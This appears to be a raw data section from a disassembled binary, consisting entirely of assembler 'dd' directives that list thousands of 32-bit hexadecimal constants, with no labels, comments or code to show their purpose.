dd 0F3FE8521h, 4E794864h, 0D01332FBh, 6E32DDD6h, 122C7625h
dd 345EBAB9h, 1263188Eh, 0C8ECA2BEh, 9C97BA8Ch, 4656F449h
dd 3E870F08h, 0BA253FAEh, 38BF058Ah, 8A6EB404h, 9894EFCFh
dd 27A562FEh, 0ED211AF4h, 4BB652C0h, 67B84CE9h, 0AF57EA8Bh
dd 0F47F69FBh, 39DB1F1h, 48B63A2Dh, 0A82CE984h, 0EB5F17h
dd 201BABE6h, 86350F12h
dd 0F8034D4Bh, 0D58D5FF1h, 0BAB380AAh, 6A2F443Ch, 5480F54Ch
dd 0E5649BC6h, 247DBEC6h, 8814555Fh, 7EE8E17Eh, 0E93955A7h
dd 938874Eh, 6E604802h, 0CCB25200h, 80C20EFEh, 537D90E2h
dd 10A1E914h, 0BB028857h, 45AD1F6Eh, 10085DEh, 0D4E92CFCh
dd 24A0929Dh, 69DD4435h, 4F006550h, 2AB93C0Fh, 95558B3Ah
dd 0CEBCA0FDh, 7698475h, 0D2E6D05h, 561FA510h, 81311CBFh
dd 305A59EFh, 0FDF52BF8h, 0C9450F20h, 417CFEEDh, 5165F42Dh
dd 0EA132A15h, 0D2C3B304h, 1B560109h, 0C8B70FE0h, 6F402768h
dd 48721298h, 0FF78880h, 0F4C7805Ah, 1DD0D369h, 9E31AD28h
dd 18D9F20h, 0F083CBBDh, 0F8A32D24h, 0E4B801AAh, 63766812h
dd 57C401BCh, 5D2AD211h, 0A681537Dh, 3B331097h, 2B3F125Ch
dd 509E2EA8h, 13B33F92h, 2814F380h, 0C63B760Bh, 0BAE63D75h
dd 3D57CCEEh, 5FC58221h, 5F4BA3E9h, 5005ECEDh, 0A38236B4h
dd 0F5546033h, 0BFE854E9h, 565D0BBEh, 9D002988h, 2C22462Dh
dd 886089BDh, 0B909B2E0h, 5E3D9F0h, 0BE59B151h, 9337FDD7h
dd 2D90E633h, 0FFFCC90Ch, 0F5A68D18h, 0BAFE6E28h, 613BA0B3h
dd 24BB5959h, 77A52018h, 1435769Ch, 0D7AA75A5h, 12B68695h
dd 80A3B507h, 82A321EDh, 59462E7Fh, 9743E247h, 6000BCD2h
dd 5551B719h, 0B3063BDh, 0EE31295Ah, 84454AD7h, 0B480CE9Fh
dd 4C4D0AFBh, 0BD5F192Fh, 8BF6B128h, 17F70924h, 0F90FCC36h
dd 0D0047360h, 4D0E2954h, 1D2DD9C0h, 17B24A19h, 2184AF8Eh
dd 8B4CC7FFh, 0EA6FBD05h, 234AB731h, 10003C13h, 127A02C1h
dd 9AEDE7E9h, 0ECE65E80h, 345C0AFAh, 0B313ABA8h, 971337ABh
dd 0F15A696Fh, 0EE2A1909h, 9C4D242h, 7DBC6636h, 0D59DF958h
dd 85BEF81Ch, 3863BE87h, 0C3C1E911h, 9EBCED6Bh, 74D183CBh
dd 0E60449BAh, 0B039FACBh, 0BD3540F9h, 4B8C1420h, 0FBF91305h
dd 5E0C9304h, 2DC80102h, 0C018EAF5h, 0B7A98A95h, 2B0792E9h
dd 0D636D992h, 883134ADh, 0AD9C592Bh, 0A8145565h, 0E1B572ACh
dd 0FBE4896h, 0F0A95EEFh, 0EF60D385h, 3125858Ah, 0B78863DCh
dd 6EAC8A47h, 7988E215h, 2424DA52h, 0DC5A481Bh, 0E23F8029h
dd 52E91FF9h, 87B8C9D3h, 0E73DEE04h, 0BAF4EA62h, 7F1BB0BBh
dd 90E30430h, 80265F32h, 0A208CD0h, 4CE9220Bh, 0EF5CD446h
dd 0F4C8CF6Bh, 0B0B16C3h, 0B57F5A7h, 0CD84DD11h, 561F08Dh
dd 953F757Ch, 0B0C52642h, 0B6E8AE13h, 0E9E1D1E0h, 6BCFE255h
dd 0EBD300EDh, 6C7E27B4h, 4632EF8Fh, 8F394541h, 0EE886884h
dd 0C5C496F8h, 3F2DBA0Ch, 0A4859B2Dh, 5A40E22Ch, 529732AFh
dd 0E6026BFFh, 515D26BEh, 81352489h, 7ABC35B8h, 0F665E99Dh
dd 3882827Eh, 60219823h, 265B8A0Bh, 108B1BC7h, 30B1173Ch
dd 68DFD0EEh, 0ACBB3A89h, 9B0DA50Ch, 1C9DB607h, 1E8135Ah
dd 0C9FEE18Eh, 5C1CA4C0h, 3C4E4A08h, 0FB7C8612h, 67680D21h
dd 5B77612Ch, 9852E614h, 0B44279CEh, 7650AD48h, 8C2EC55Ch
dd 0BAD766F9h, 17885846h, 0DBAF533Ch, 476B24D5h, 0E83AA7A1h
dd 0DDE9E10Eh, 0AA5F0328h, 0C7E56569h, 0F016E917h, 0FD3665A0h
dd 8EB5E6B0h, 0C331255Dh, 7AC1CC82h, 0AA8B22ADh, 747FE70Bh
dd 5CB882D9h, 72D85E96h, 68543055h, 0FC474E2Ah, 12C8D16Eh
dd 0D1F9427Dh, 0C664568Fh, 5C44EB5Ah, 0C91E46B4h, 55CE6190h
dd 0BF02D2BEh, 0E01558BAh, 1356CFBAh, 4095237h, 1797AA56h
dd 984ED0FBh, 840028EEh, 76F86850h, 4581233h, 85E94840h
dd 0C132AA66h, 40926A5Ch, 0C0A7C011h, 1E07050Ch, 11F170Ah
dd 0FA4C57D8h, 5AE6A3F7h, 7D944B81h, 965D9C62h, 0B2E42D7Fh
dd 242A76F3h, 0E0BB6AA1h, 6AF55A25h, 0B489666h, 161F03E4h
dd 0AF98F0Bh, 7D07C224h, 0F1A66AC8h, 11088228h, 0B378B5B3h
dd 6E10BD03h, 0B62D1D85h, 0BB965150h, 80735BFAh, 6A685F9Dh
dd 0E0F45C58h, 95B937E9h, 0DF62DFFEh, 0C2FAC673h, 7F966817h
dd 4589A2D9h, 3DB2512Dh, 9D7A9AF4h, 0D4E9095Ch, 0DBF70902h
dd 0AC2BFFEh, 69740B59h, 0D967DC25h, 103B7920h, 6C58435Dh
dd 252E1124h, 2A2998E1h, 0FAC459EBh, 67273B76h, 19AFFD83h
dd 491CF610h, 0F5881139h, 69DDAC48h, 9D02379Bh, 31003DD1h
dd 95295DEBh, 0C7778F0Bh, 5C0DB2D7h, 0C9C7F95Fh, 24FFB7E2h
dd 0FFE9680Dh, 7B573489h, 4413121Eh, 0FF315DD1h, 0ADD2D71h
dd 0EB022436h, 1AE34439h, 1A84A5Dh, 5E726808h, 9E2F778Bh
dd 492B9A46h, 5B3DE953h, 0AEE33F17h, 3DC7710h, 177639BBh
dd 55E7B73h, 89C8D0DEh, 0A849C4DAh, 8CA74FD4h, 0FE4FD29Dh
dd 2E86872h, 477D58C1h, 50E98458h, 7750B9D3h, 0C1208F26h
dd 923FA7A6h, 3B24A4B8h, 0C47894AAh, 8494AAD1h, 0E24FE6B8h
dd 0DDEAC054h, 0DA29FB28h, 804405Ah, 5B04C351h, 378EFB4Eh
dd 0BBB79922h, 0A209D267h, 0B03F8BB7h, 1864E2D2h, 6C779A33h
dd 8A3F50EEh, 0FF30F60Dh, 40DE9042h, 205B606Ch, 0CC174F47h
dd 0E9060F94h, 5A8F92FCh, 208CE8E1h, 0D728256Bh, 2DC4D888h
dd 9248D340h, 0E82A44C0h, 8231FC33h, 971265F6h, 17B262E0h
dd 0BEDAF636h, 0F1A378C3h, 722AA568h, 4F6050BBh, 793054A2h
dd 2088FC7Eh, 78578276h, 0C4054AE0h, 0FBB2FAECh, 88C659C9h
dd 0B838D1A4h, 8FBA4F4Dh, 43AD25FAh, 5C313CE2h, 223B2A98h
dd 0F3B0D430h, 9258E53Dh, 6AB952ABh, 6CAE49Ah, 0A3507FFCh
dd 59BF80B1h, 61A50C16h, 0F3F49CF5h, 0E99E0B5Ah, 0B377E6FBh
dd 0EF6ED14Eh, 0AD42417Bh, 0EC66DD34h, 0C8950FE3h, 0C90ED3E4h
dd 0FEE1FE2Dh, 0CC566F5Fh, 0BF3E08h, 3103142Dh, 8A9809B5h
dd 1BB85007h, 7A2FBE7Fh, 4CEAF712h, 0E9085B55h, 2069C5D7h
dd 295F0208h, 19C7E9FAh, 0D6055C02h, 65ACF09Bh, 86553BCBh
dd 982D6E6Bh, 0C8B6A163h, 9078CC36h, 0ABAE2026h, 1D16B97Ah
dd 1FAB4B8Dh, 0AFEC53C8h, 502510B3h, 88273772h, 6BF30FEEh
dd 5A0CABB6h, 0B249F251h, 60D2FFB9h, 5F1D705Fh, 2220B14Ah
dd 0BB53C0A9h, 0C41B21B2h, 0AFFC11B4h, 88E28BB8h, 0EF58AE8Bh
dd 0C3C52E4Eh, 580AFA2h, 759A7A3Eh, 2C015931h, 5C020D38h
dd 56462459h, 7CF70080h, 0F4B41F8h, 0CB49068Dh, 0FAE05B8Dh
dd 26955D57h, 459D3C16h, 82A4C95Ch, 7BCBEA98h, 706CF1C9h
dd 5FD3B131h, 109381Eh, 861A20E7h, 0F39EDD14h, 119FB900h
dd 64B860FCh, 75829577h, 0E9C150F9h, 538DA31h, 5D4096E2h
dd 970B99B8h, 0F7595682h, 0E8763F1Eh, 5D52519Ch, 0F833C07Ah
dd 0BAF02D6Bh, 0DF095576h, 0F614159h, 847AC8BFh, 0EFAFD221h
dd 5539661h, 83A6C0BBh, 550B3241h, 2B5DEE01h, 0DA9FFE20h
dd 0F36836E8h, 0E3335E4Eh, 0AFA3F41Dh, 0B3B2D213h, 0BB0E1047h
dd 823F9340h, 0E9C6E3F7h, 8E2FA229h, 4F592407h, 9BBFE901h
dd 806EBDFCh, 2A7E6FDAh, 0ADD3013Eh, 0DD54420Bh, 0EA4250F9h
dd 0C59FF5Dh, 0EAAD3A93h, 0C1BB840Dh, 45A42A87h, 635D447Ah
dd 0E0B493D3h, 0D6CD2D80h, 0F8C3C500h, 0B758C4B0h, 85EF12DAh
dd 42A9D9AAh, 107531C2h, 835FE526h, 158D5ED5h, 4C31C813h
dd 6058599Ah, 657983A4h, 492724Ch, 47D8FD92h, 268F083h
dd 5FCDE163h, 0EA8D60A7h, 87F07EADh, 0F282180Fh, 0BFEE138Ch
dd 0F7B0849Dh, 97DC9FF2h, 73E70C21h, 0D20BEE59h, 80088FE7h
dd 236EC86Fh, 0F301200Ch, 295E0880h, 5951FB26h, 30AF1612h
dd 0BB361E04h, 9BC6858h, 0F48471DEh, 56093E32h, 9D06C2AFh
dd 681332A7h, 0A3D232ABh
dd 0EAF409FAh, 1E925751h, 5208D2A8h, 0FB23C9DFh, 406EA248h
dd 300FBE1Ah, 49F6FCBCh, 0B8D661FFh, 3DF71D4h, 4E820D73h
dd 24FF39ACh, 68CE8CE0h, 4D7F3727h, 985118BBh, 0FA3E4653h
dd 9ECE8276h, 80710E47h, 0B94E1A98h, 20449833h, 0E913F874h
dd 8C8BA7BBh, 93AEE84Bh, 2E3469FBh, 69E7E4ECh, 0B7D51EFFh
dd 7CAD97EDh, 1C888855h, 0C605A328h, 501538E5h, 296A860Dh
dd 5B530B7Ah, 501345FBh, 0D1DDF30Ah, 31B1B3BAh, 44C3DFD0h
dd 0E6185BB3h, 0B05325CEh, 99F1C939h, 63A024Dh, 0C2558B3Fh
dd 58F451h, 0E9DE47EFh, 4CB5F7EAh, 0E1415B55h, 39FF2BFDh
dd 10FC38C0h, 0EA48744Eh, 8BDD1584h, 66E14E28h, 520091D1h
dd 91909AB6h, 0D6F6571Dh, 0DC05C653h, 0EAF627EDh, 0FA4E8E48h
dd 4BE9A804h, 0C17BAFCh, 0D2D8F85Bh, 93E006BAh, 340B0EACh
dd 85C58809h, 0EAE8DE96h, 0F6C88605h, 0CAC783D1h, 0A7B0D4E1h
dd 3C20F64Ah, 2532681Ch, 55C9CF7h, 45DA6851h, 0A782C1B2h
dd 78429F6h, 492F8F70h, 0E859EBB7h, 3D7410F1h, 0EEAF62F2h
dd 401C360Bh, 0A095E20h, 6D7F800Fh, 771188F2h, 0DCF6043Dh
dd 0EAEDF328h, 0A3B55109h, 0E566A97Fh, 5A801F98h, 83C128B4h
dd 0F7E75DD2h, 54105884h, 0FE3B25E9h, 485BAFC6h, 833257E1h
dd 54B4E9E1h, 0FC0784A1h, 0FDF010F5h, 5B56502Ch, 3AC535F9h
dd 478422E2h, 8D74AA08h, 27CC1FC0h, 84355E42h, 1AC644FFh
dd 0FD7FC5ECh, 60F8D74Dh, 3F60CFE1h, 0AA5C2C5Dh, 7E1AF525h
dd 698D2040h, 2C6FA626h, 88078C06h, 0E3C6078Ah, 0C1108352h
dd 0E1118BE6h, 55F02E03h, 4A2A7209h, 3FD7A921h, 2A88549h
dd 0E7BFCD01h, 758E698Ah, 80D70932h, 93B850A5h, 659B2510h
dd 0C22F80F0h, 54167FB1h, 6C518C9Dh, 1A210E6Bh, 0CCDD0108h
dd 0CE5D9532h, 0A1209697h, 0C57980E9h, 42A8031Ah, 0BCC0FB09h
dd 0B44F8A0Fh, 0B7AEB8C4h, 0E913794Ch, 5CB24FFAh, 0ED25014Ch
dd 559D97F0h, 11A052BEh, 0F99D8061h, 45BCC247h, 5691B900h
dd 84575E31h, 148AC3Ch, 50D074DAh, 0F320D9F7h, 0FF6138B4h
dd 4C64ABCEh, 3AA5F1EEh, 81804CA8h, 603C66CDh, 0F5042176h
dd 7C6E451Eh, 0C1521B96h, 0C17A4C46h, 3F4FE930h, 91F9F3C4h
dd 5B580B9Ch, 88EBFB02h, 576192F7h, 0D2A5FE79h, 0FD3C44F5h
dd 0EC598140h, 0ECA94F9Eh, 9CFC414h, 0B1300716h, 29548155h
dd 65A22A7Ch, 31685F04h, 0DFE9032Bh, 5D4C34D7h, 4FBFEDC6h
dd 0BF0C5EF4h, 0D0883202h, 0DA5A7569h, 80F860FDh, 131E73CCh
dd 0BB5215C4h, 0E01A7CD4h, 4E87D246h, 2DAF00D1h, 0FD8129Eh
dd 76348FE2h, 0CAFB16A6h, 64AA108Ah, 1CF55626h, 0B230FD20h
dd 0C8289B06h, 1B75958h, 0F1B75352h, 65F5FA88h, 0FBD40575h
dd 854A9F39h, 0FB5372A4h, 0E90A66E3h, 81F4C26Ch, 0CE398DEBh
dd 76CBD866h, 51FE5C14h, 33D11280h, 6003E8E4h, 93B7303Ah
dd 1690C7FEh, 9F4A8A20h, 708C767Eh, 5FF612A1h, 4521B0DFh
dd 0FC8CCC98h, 0E4BAF1F0h, 24202F97h, 9DFA0736h, 92143066h
dd 0B78957B9h, 5E9A552Bh, 9110EA60h, 55D84281h, 0BEEABF54h
dd 0F32E5160h, 530C4A99h, 90F4ABB3h, 4E2C2019h, 539546ECh
dd 65C40246h, 8D56069Fh, 3E47B27h, 310BE8C1h, 908D53A3h
dd 9937254h, 0C9C1F29Fh, 70320506h, 56434280h, 81007427h
dd 0A76411E7h, 27840F15h, 0B17CAC4Fh, 0E187FB70h, 0C86F2FC2h
dd 2947D601h, 79F76FCFh, 0CC214B79h, 5A585EE1h, 3709D235h
dd 0A334755Ch, 6BE371BDh, 1CC794FFh, 3817E7E9h, 26CBB4Ah
dd 82A149E9h, 6F592D02h, 22D771A4h, 5F016DC8h, 31D67812h
dd 0A8753E82h, 5518C26Eh, 44C9932Fh, 0B03E44FDh, 3C209DC7h
dd 942AC8C3h, 0A200FB8h, 1BC1583Ah, 4BC9AA40h, 0C0B8D03Fh
dd 18450241h, 57AEE882h, 564007B7h, 2D839550h, 0B0F603B2h
dd 598358C5h, 1682E14Fh, 0CB7A0C80h, 0EA05ED89h, 308F1905h
dd 0EF01F029h, 58B63ACDh, 16A8846Fh, 658AABD9h, 90458D00h
dd 67D92D64h, 3CFAD74Ch, 0D7D56EBCh, 0F4C1D088h, 0EF3835E5h
dd 3A94AFC4h, 0B91909BEh, 0CCD72AA9h, 0EEBF31C8h, 0BC3B1FCDh
dd 7F109323h, 50FB3316h, 0E913083Eh, 8811445Ah, 5837BEE3h
dd 0E15BDA82h, 0FB3A686Eh, 5A560F1Dh, 245870E3h, 0FA4BE73Bh
dd 455FE68Bh, 0FF2EA0A5h, 5C986D32h, 9E69678h, 67568B8Ch
dd 5A472970h, 64B9CB20h, 91AA5B15h, 544ED62h, 0FB03B4BFh
dd 0A5744749h, 0EE7ACF0Ah, 0B7EE240h, 25617C91h, 4D59AC38h
dd 94181582h, 0FA146079h, 66E7B716h, 3039B402h, 0E941FFE1h
dd 0E45FC6E0h, 8106C0FCh, 0A1609DEAh, 882553F0h, 0C06C7EC7h
dd 4F2647DDh, 3FFFE924h, 0D3684E9Ch, 29972F0Eh, 4AE5202h
dd 1230D2CBh, 89583C04h, 77A60482h, 0B6576209h, 95699F75h
dd 5D5DEF7h, 0CA5E8873h, 5F6B4AA7h, 92EA93C3h, 6805FDFCh
dd 984460FDh, 8DBBC234h, 7CF7E559h, 0DDC24186h, 5B57EA77h
dd 0F8E941ACh, 0C9AC2411h, 24223A5Bh, 6F4A6055h, 0BA6C58A9h
dd 713BE502h, 66401030h, 0F7828A9Dh, 933D63E7h, 6B0051DFh
dd 5B576F25h, 60089D5Eh, 0BBC059Eh, 1501AFB2h, 95927013h
dd 3196A02Ah, 2C081DB6h, 77FF0523h, 369B8240h, 4EDD103h
dd 0AED8676Eh, 29A5F0D9h, 0FE29E9F8h, 0DD01B76Dh, 12E537Fh
dd 8EAC7F7h, 0DD525A0Bh, 0A9D65838h, 0F5262795h, 92A1730Eh
dd 824D1460h, 35BA0A80h, 51D279Fh, 15DD4F9Ah, 0A67AAD40h
dd 0BDF0E9C2h, 51BD3E00h, 4E300825h, 0DAB2A845h, 5B14AF7h
dd 0FD2F8050h, 691FDFC4h, 7C0394A5h, 0EA3EE1D2h, 0A352672Ah
dd 23045DC9h, 6C3AE4CCh, 1AC71B1Eh, 0C5C012D3h, 3D0FCBBAh
dd 0E42F1F55h, 88C1CEC3h, 7F312590h, 0BF3A7069h, 9AC1B22Ch
dd 12EEB279h, 0E8290168h, 0FD51E241h, 5C4988F9h, 6BE4580Dh
dd 7893A0BFh, 0A02FB671h, 249843AAh, 22554E0h, 63660AF6h
dd 6B2CAF7h, 0F1E5D08h, 602009FBh, 820D6E8h, 7F41E917h
dd 9A9EE0BDh, 40DEFD9Ah, 4665109Fh, 0A20C328Ch, 42F8FD9Bh
dd 95525628h, 4A587C7Dh, 0FAF23796h, 2DC00A24h, 5A1877FBh
dd 5C89F463h, 0C992574Ch, 0E24A8559h, 8B0B9D53h, 7D762B6Dh
dd 79979315h, 3C5101E0h, 8C13E2B1h, 0A1A4B819h, 0C59D5887h
dd 0F84ED6E5h, 0E7944836h, 0C8B65290h, 32CE3980h, 0C057E680h
dd 0DEF602EEh, 7202598h, 66CC9EDh, 12BF0779h, 75CD1D4Bh
dd 0C7CD462Eh, 0EE067369h, 53B1397Bh, 36540B0Ch, 6757E4F4h
dd 40E03C9Ah, 48363CF6h, 49AD5997h, 2F11E980h, 759D02F0h
dd 80B2B1A0h, 310B43F6h, 6268E9FEh, 0F0AF40EBh, 49850C13h
dd 0E38EC383h, 0D812DA17h, 3A44621Eh, 0ECEA7FEDh, 74680968h
dd 2FD4C649h, 0CD530384h, 7DB15549h, 84D17A02h, 0FD96D9BDh
dd 20C4BBEBh, 2176E5FBh, 0C03487E9h, 7B8307E1h, 0E22F023Fh
dd 5CA5311Eh, 67399640h, 745F9A2Fh, 0B8E0C2D0h, 89FD4D7Dh
dd 10F02DE9h, 8E7373BDh, 0E1101089h, 3381B918h, 136896C9h
dd 2BDE7155h, 0F2AEF013h, 57F2B5D3h, 6B7B6882h, 9096B4FDh
dd 75BD18C8h, 25F4B63Fh, 82065997h, 6859351Fh, 4270425Dh
dd 3DC340C4h, 0C6291287h, 98205D58h, 39D448D8h, 6116F3Fh
dd 57E1E9D0h, 140E98D1h, 9888724Ch, 4A07AC01h, 44CB0110h
dd 0E90802CEh, 0E2D4AF6Eh, 6F4874A7h, 0D2BA37A5h, 3E42D01Dh
dd 0F89F0CC4h, 38883258h, 4C5F0C24h, 0D25B65BBh, 8D529CCh
dd 764E52D2h, 0BA0BB574h
dd 52440E7h, 0AD11168Ch, 53034B48h, 0E98EED5Bh, 562F1C1Fh
dd 0AF45E44Bh, 30AA6D17h, 6EE1804Bh, 0B5BB5E00h, 0E9D5D24Bh
dd 0E4314A32h, 63651D10h, 0DCC2E0FFh, 0FAA257D1h, 187F2234h
dd 98768D24h, 0BBDDF0EDh, 3ED7A7F8h, 500DB61Bh, 0DF3F6E6Ch
dd 1FF60007h, 0E9D4A9E3h, 0B9445A27h, 0F254CC30h, 3F80B526h
dd 834633BEh, 6A8C1D50h, 2B371C14h, 5C0B5AABh, 4561715Dh
dd 883CFB5Ch, 0AE544A55h, 4A921F8Dh, 0D75D6220h, 5A7E13F0h
dd 667BDF25h, 93F59534h, 711BF9EAh, 1F08253Fh, 542DE0D8h
dd 0F8DDDE5Dh, 5797D301h, 0C3249796h, 146A2F02h, 0B05A4C10h
dd 0A82F5532h, 0C384503Bh, 4350606h, 3B0AA6B9h, 4DD48CC1h
dd 435F3089h, 44622E80h, 72973D8Bh, 0E9DE27ECh, 5F9707D5h
dd 0C2547065h, 73AA09D8h, 2F7B7866h, 0B8C7E448h, 5618408h
dd 0AF556851h, 8780F934h, 901A0B18h, 0DD563A0h, 6A18FD29h
dd 0F3538878h, 0A25B131Dh, 7CFEED18h, 0DC619C5Bh, 0AC150CF4h
dd 313C134Dh, 57032CFFh, 5409537Fh, 5C52A121h, 0D7B4987Dh
dd 7F4A8F0Fh, 4ABEA8A4h, 89A7FC68h, 580A4165h, 5156072Eh
dd 6DF34753h, 870CE494h, 525A5927h, 3F826966h, 57CE55h
dd 4FF1E681h, 86E942B9h, 31F1D2B7h, 1A7B7853h, 9CBA74C9h
dd 8BBBC8D6h, 463524F4h, 702D0D81h, 0E1400A9Eh, 0A1216C28h
dd 0EE55E6DCh, 0B30DD1BBh, 193B8851h, 815B003Dh, 9F4F07EDh
dd 8E0F6005h, 4EFCE3B2h, 458C3FC4h, 0F3E43E50h, 171163E7h
dd 0BF11479Fh, 0B27456EBh, 14DD978Eh, 308A262Eh, 3C4DA670h
dd 0E45F4A7Bh, 1DC47CC0h, 0F905EAC1h, 0A515B4D9h, 949D7BF1h
dd 0F7C25BE9h, 0D3929B67h, 11FA2053h, 150EA715h, 0DF9CB858h
dd 8394B750h, 0C54F59E9h, 1D1000B6h, 68AD0E70h, 5C603235h
dd 2DE65506h, 3C7A054Ah, 8DB03698h, 8176CD00h, 0FD2E94C2h
dd 96E9183Eh, 6ECF7F9Bh, 94AD2FE1h, 463CE985h, 0AE02B2CCh
dd 9CF9CE8Ah, 5C746069h, 0C024AB49h, 4EE22DC9h, 8496E86Dh
dd 0B3000E75h, 38C380B9h, 0C2BE06CEh, 422857F3h, 6D727759h
dd 0D1BC6A24h, 0B16802BFh, 5573953Fh, 0B9002496h, 6FAA4F8Dh
dd 0F3E9CF31h, 9EDEBBA5h, 812D3Ch, 0D0F758EBh, 9EC9040h
dd 356E453Bh, 0F1C11980h, 0F095035Ah, 0ED505080h, 0EC5B4B77h
dd 0A742B112h, 0E17996A4h, 7A52D368h, 58E9EA60h, 0FD79979Dh
dd 0A0EF88h, 6B5BEAB9h, 0CE260910h, 60008B59h, 12CD677h
dd 8216B7C6h, 0C583FE34h, 0C4518CEEh, 1636DF41h, 100FB94Fh
dd 0F55B3C3Dh, 8A817FF7h, 0BC6A5776h, 18F2B7D9h, 0B78CC08h
dd 2CA45DAh, 892767D6h, 3F047548h, 85D9B2F9h, 0B1D90964h
dd 0BA28D9E4h, 0DD00392h, 48C12A85h, 3F34C3E1h, 3840F445h
dd 1E63A50h, 4AA54861h, 0B8765BEh, 0BE9CE29h, 3FB1DD70h
dd 0E8E88292h, 0A1C9B84Eh, 0C06854Dh, 4770C20h, 0CD6596BBh
dd 6001FE3Bh, 0EF1457Ch, 12BEE530h, 847F4E6Dh, 573F80ACh
dd 44F1147h, 11D496BAh, 28AA1CC1h, 442F758Fh, 983C23CBh
dd 0A16027Dh, 86C75566h, 0AA99F671h, 126CAC70h, 0F056FE5Dh
dd 8A2EB0Ch, 83471C51h, 71AC56FBh, 327EEDE9h, 1D293B31h
dd 0DA04423Ch, 0A2EED387h, 25E9A088h, 0FFFA9537h, 256A633Bh
dd 0EF37507Dh, 0F2AAD06Bh, 0C82646F9h, 6208D313h, 64CA8832h
dd 0F54BAB27h, 31AB4E90h, 0B5CA3DC0h, 0EC62A476h, 3E5E03E2h
dd 0D2F77E24h, 9E345802h, 7709E3C9h, 4D961EA1h, 58C2E0C4h
dd 1EA8312h, 11D1F08h, 6F4ABD55h, 0E50E70BFh, 0BEE44798h
dd 0D809ADBAh, 183B35h, 0BB21CC1Dh, 0F1810233h, 7CA93E8Ah
dd 9D51342h, 0EF365521h, 0C2B5DEB7h, 97246FE3h, 0C10849C2h
dd 74505B7h, 0F3981CBEh, 0A388EFEFh, 629D7C74h, 70F47759h
dd 3E3B2581h, 42B52B6h, 0F509115h, 0AEB226ACh, 0FF585B2Ah
dd 0B8B35A67h, 0B6AF8591h, 4B449F9h, 71227AF4h, 1388987h
dd 9A44F0BFh, 2FEC3143h, 97BEA653h, 9236B243h, 575C6DDh
dd 0C34975C6h, 9E9C0132h, 0F22CCB7Fh, 92BD6057h, 0E98FEAA3h
dd 0C938442Ah, 0CEEF1365h, 0D4683E03h, 4334E9A0h, 40EF6D79h
dd 0C57E8CC2h, 57D646DCh, 0F3F708F8h, 47263AA0h, 0CEA56DDFh
dd 26418744h, 0F121580Ch, 7DBA2295h, 58251C7h, 0FE545358h
dd 0C3C8BBE2h, 66C55045h, 54970BBEh, 0BE8B4555h, 565C9254h
dd 0D626889h, 0BB9D5F7h, 25BB2F5Dh, 5B19F622h, 99EFDD12h
dd 0BFE77B1Dh, 2B65B15Bh, 2CEF8A98h, 588F2C8Bh, 60281309h
dd 5C04F07Ah, 296E2FADh, 82762DFFh, 0CA20742Eh, 898E7EC0h
dd 92DFA131h, 80F05F45h, 0E0095A98h, 0FC212928h, 0AFE99C4Ch
dd 8B7D0862h, 5847DFF1h, 3C16D2A6h, 55616289h, 0A65FF6E8h
dd 0ED5941D3h, 0F2166FC2h, 0A28645B8h, 0ED0493A6h, 3E965747h
dd 7ACE76C0h, 2FE9F2D4h, 1D53EC30h, 1E916D4Fh, 8A75886Fh
dd 22FF2B4Ah, 5C414628h, 0DA1EF816h, 0F0F3292Dh, 2CC69FB4h
dd 18E97F4Bh, 893EF21Eh, 888055F5h, 5A482D53h, 0E96382B5h
dd 3927C0Ah, 492C8604h, 3684D8C9h, 9EEE4E3Fh, 48302708h
dd 61458B36h, 0C7800C1Eh, 7472F9B3h, 0DE77293Ch, 0E8C0B55Fh
dd 77632ABAh, 53BE0016h, 315B6B41h, 19A5AD6h, 23BDE97Ch
dd 4A5DEACAh, 1647ADADh, 0C7EC4469h, 5E9680B5h, 3F98BE5Ah
dd 0A0552527h, 0D74A8BDCh, 800F2634h, 85183566h, 342BDA2h
dd 2E7DA2F3h, 9FD7D908h, 8AD5F87Fh, 3393D67Bh, 0CD74788Dh
dd 402A4EBDh, 2631D61Dh, 0A4020D14h, 0C13FD357h, 1C08C0E0h
dd 4D7582DBh, 3956A52Fh, 5E3AE9D0h, 7FEE9D6Ch, 8C0F2944h
dd 0EBB5300h, 7F67D04Ah, 1600C5D2h, 54AEE92Bh, 3287D08Ah
dd 0A4FF6879h, 0D69711D0h, 6AB38B87h, 31ECCC5Fh, 31850827h
dd 4CEB1163h, 0B8287AFCh, 2BCAA268h, 24387B08h, 187C2758h
dd 28BB5D92h, 152768A4h, 0C9095112h, 9F793F56h, 9F5C4F24h
dd 0E3E2BED4h, 0C4B5765Ah, 0F425F455h, 0A8439662h, 91675754h
dd 8212133Fh, 0BEB89284h, 1829CB84h, 2E32E7FAh, 24D01C9h
dd 6A69156Fh, 45803C40h, 47651D18h, 0D48B10Eh, 2BE98306h
dd 0D4E7EC51h, 7031192Ch, 6698CF01h, 0E33030B2h, 0AB2A4B51h
dd 265B9F8Fh, 681C0805h, 77251A71h, 5230C1EEh, 10A6C481h
dd 0EC455BA5h, 2F074108h, 0E2223F1h, 4B22CF10h, 894022F8h
dd 0D238B7BDh, 5D829D37h, 0D9F5D0C2h, 2975EB48h, 6B8F7579h
dd 16E9FD01h, 0B8E96EDAh, 0BD476712h, 70CF2FCBh, 0BBF3BFDCh
dd 0BCCA2E8Ah, 5FE8FFA5h, 55866358h, 0B77AC308h, 0CFE4A19h
dd 0E90E5DD6h, 19421B17h, 72D43001h, 0FBE81047h, 4505807Eh
dd 34DEEA16h, 5D58E08h, 0BF1AF268h, 0EF4B718Fh, 27E97BDCh
dd 0FF41666h, 908D562h, 49A96080h, 7D90A061h, 431BFE09h
dd 528B005Dh, 4D1737BAh, 3304C39Dh, 0BF2B666Bh, 360C1E12h
dd 98080602h, 304A0CD8h, 0B4D2091Fh, 498CB12h, 834FA3A8h
dd 38882CE2h, 0D9680176h, 22250876h, 9161BCh, 7C232548h
dd 32F670E2h, 1B49CD4Fh, 0F513E285h, 54C037F9h, 48C2685Ah
dd 0E0D08F76h, 19A5D10h, 43AB30B8h, 0AF3B293Ch, 0EC2BC82Dh
dd 5F29CBA9h, 0E03AB6C2h, 7B471911h, 6A68B1C1h, 0C8604E35h
dd 0F49807Fh, 33728D1Ah, 8EF1D77Eh, 1455997h, 1ACB5E53h
dd 0BAF7B665h, 0D262D48Dh, 4B2FDCD0h, 4BF33DA9h, 405F253Fh
dd 67C809A0h, 0D3F4A059h, 0CD0C019Bh, 22E5B2E9h, 656EC558h
dd 8A47F870h, 231DFE5Eh
dd 29F099CBh, 410BF573h, 172F6D5Dh, 34999357h, 4CD4D0ACh
dd 7897BD6Dh, 5AAA00C8h, 0CB29778Ah, 0A70BBE56h, 7C1F5734h
dd 0F375058Ch, 0ED43AA15h, 567AA28h, 7E18930Ch, 8B38237h
dd 416D02F7h, 932F0C7h, 5D4E3EFAh, 0F72A82D5h, 5F48D5D9h
